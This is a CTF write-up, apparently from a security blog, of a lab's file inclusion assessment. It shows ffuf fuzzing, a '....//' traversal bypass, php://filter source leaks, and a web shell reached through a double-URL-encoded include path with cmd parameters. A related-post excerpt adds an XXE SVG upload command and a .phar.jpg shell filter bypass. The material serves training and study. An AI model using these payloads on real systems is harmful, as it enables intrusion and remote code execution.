Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

File Inclusion Skill Assessment

·761 words·4 mins·
Table of Contents

The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

Let’s Start With Reconnaissance
#

The web application has some endpoints:

  • index.php
  • contact.php
  • apply.php Our interesting endpoint is apply.php as mentioned in the description. ![[Pasted image 20260702215813.png]]

As a start, I decided to upload a file to test the upload functionality to know which files can be uploaded to decide which approach I will go through.

  • I found that the upload functionality accept all file types and there is no restriction in the file type.
  • So I uploaded a shell.php file that contains a PHP shell.
  • After submitting, the app redirected us to endpoint thanks.php?n=, testing it with LFI but it’s not vulnerable.
  • While exploring the code to know the path of the uploaded file to make me know how to access it later, I FOUND something interesting: ![[Pasted image 20260702222030.png]]
  • There is another endpoint called api/image.php and the logo of the application is called and hashed with the parameter p.
  • I tried to test this parameter to LFI vulnerability with basic payloads, but no one triggered it, so let’s do fuzzing:
 ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
  -u 'http://154.57.164.62:32092/api/image.php?p=FUZZ' -fs 0
  • Found that ...// bypassed the filters and confirmed LFI vulnerability.
GET /api/image.php?p=....//....//....//....//etc/passwd

![[Pasted image 20260702223405.png]]

  • Now I want to get the source code, we have two options, to get the source code:
    • Using Wrappers:
php://filter/read=convert.base64-encode/resource=/....//....//....//....//....//....//....//....//....//....//....//....//api/index.php
  • Or using the default path to web root (/var/www/html/):
curl "http://154.57.164.62:32092//api/image.php?p=php://filter/convert.base64-encode/resource=....//....//....//....//....//....//....//....//....//....//var/www/html/index.php"
  • But nothing is interesting in index.php, so I read all files to know the logic of the application:

Contact.php
#

    
 <?php
 $region = "AT";
$danger = false;

   if (isset($_GET["region"])) {
   if (str_contains($_GET["region"], ".") || 
       str_contains($_GET["region"], "/")) {
      echo "'region' parameter contains invalid character(s)";
                   $danger = true;
         } else {
                    $region = urldecode($_GET["region"]);                        }
            }

  if (!$danger) {
   include "./regions/" . $region . ".php";
                    }

The key points of the code:
#

  • The endpoint has a region parameter.
  • User input is directly passed to include function which is a direct LFI vulnerability.
  • A weak non-recursive filter to check and remove only . and /.
  • If the filter bypassed, a .php extension is added to the user input.
  • urldecode() is applied after validation.

image.php
#

<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>  
  • Replace ../ too.
  • Take a parameter p
  • The path of the images is ../images/.

I decided to fuzz the application to know the hidden directories and the uploads directory:

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://154.57.164.61:31105/FUZZ -fs 3405

Got some directories: ![[Pasted image 20260702234356.png]]

  • Our uploads directory is uploads.
  • I contioned fuzzing in api to reach any another source codes:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt:FUZZ  -u http://154.57.164.61:31105/api/FUZZ -fs 3405

Got image.php and application.php. We knew image, let read application:

<?php
$firstName = $_POST["firstName"];
$lastName = $_POST["lastName"];
$email = $_POST["email"];
$notes = (isset($_POST["notes"])) ? $_POST["notes"] : null;

$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?> 

So Interesting, we know the logic now. Our interesting here is the upload functionality and how the file is handled:

$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
  • ../uploads/ (relative to api/, so /var/www/html/uploads/
  • MD5 hash of the file content + original extension –> filename SO we should calculate the hash of the file we upload then the application will match and store, this is the way we can get our file in the system later too.

Our Attack Approach
#

  • Upload shell.php PHP shell code to apply.php.
  • Calculate the MD5 hash:
md5sum shell.php

–> fc023fcacb27a7ad72d605c4e300b389

  • Now we want to access the uploaded file to gain RCE.
  • As we knew before the upload path is ../uploads but the app filter . and / so we should encode all of them:
../uploads/fc023fcacb27a7ad72d605c4e300b389 

NOTE THAT: as I mentioned before, no need to write .php to the end of our file because the app add it after validation.

  • After URL encoding:
%2E%2E%2Fuploads%2Ffc023fcacb27a7ad72d605c4e300b389
  • Now everything is ready, we should send a request to region parameter in contact.php. ![[Pasted image 20260703000740.png]]
  • Tells us 'region' parameter contains invalid character(s), meaning that we don’t bypass the filters.
  • I tried Double Encoding: ANND DOONE, we gain RCE now, I listed the all files in / using cmd=ls -al / to demonstrate the flag location:
%25%32%65%25%32%65%25%32%66%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%37%33%25%32%66%25%36%36%25%36%33%25%33%30%25%33%32%25%33%33%25%36%36%25%36%33%25%36%31%25%36%33%25%36%32%25%33%32%25%33%37%25%36%31%25%33%37%25%36%31%25%36%34%25%33%37%25%33%32%25%36%34%25%33%36%25%33%30%25%33%35%25%36%33%25%33%34%25%36%35%25%33%33%25%33%30%25%33%30%25%36%32%25%33%33%25%33%38%25%33%39&cmd=ls+-al+/

![[Pasted image 20260703001307.png]] The flag in flag_09ebca.txt, just read it using cat /flag_09ebca.txt and done ;)

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

File Upload Skill Assessment

·560 words·3 mins
Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST "154.57.164.61:30775/contact/upload.php" \ -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \ <<< '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg>' The parameters of the payload got from the HTML code inspection: <input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> We got the source code encoded, after decoded, we knew the logic: <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --> DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.

SQL Injection Skill Assessment

·721 words·4 mins
We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let’s goo and explore. In first step after visiting the application we got a bad request.

Web Fuzzing Skill Assessment

·569 words·3 mins
Hello everyone In this article, I’ll share my approach to solving the Web Fuzzing Skill Assessment on Hack The Box, sharing the methodology and tools I used along the way.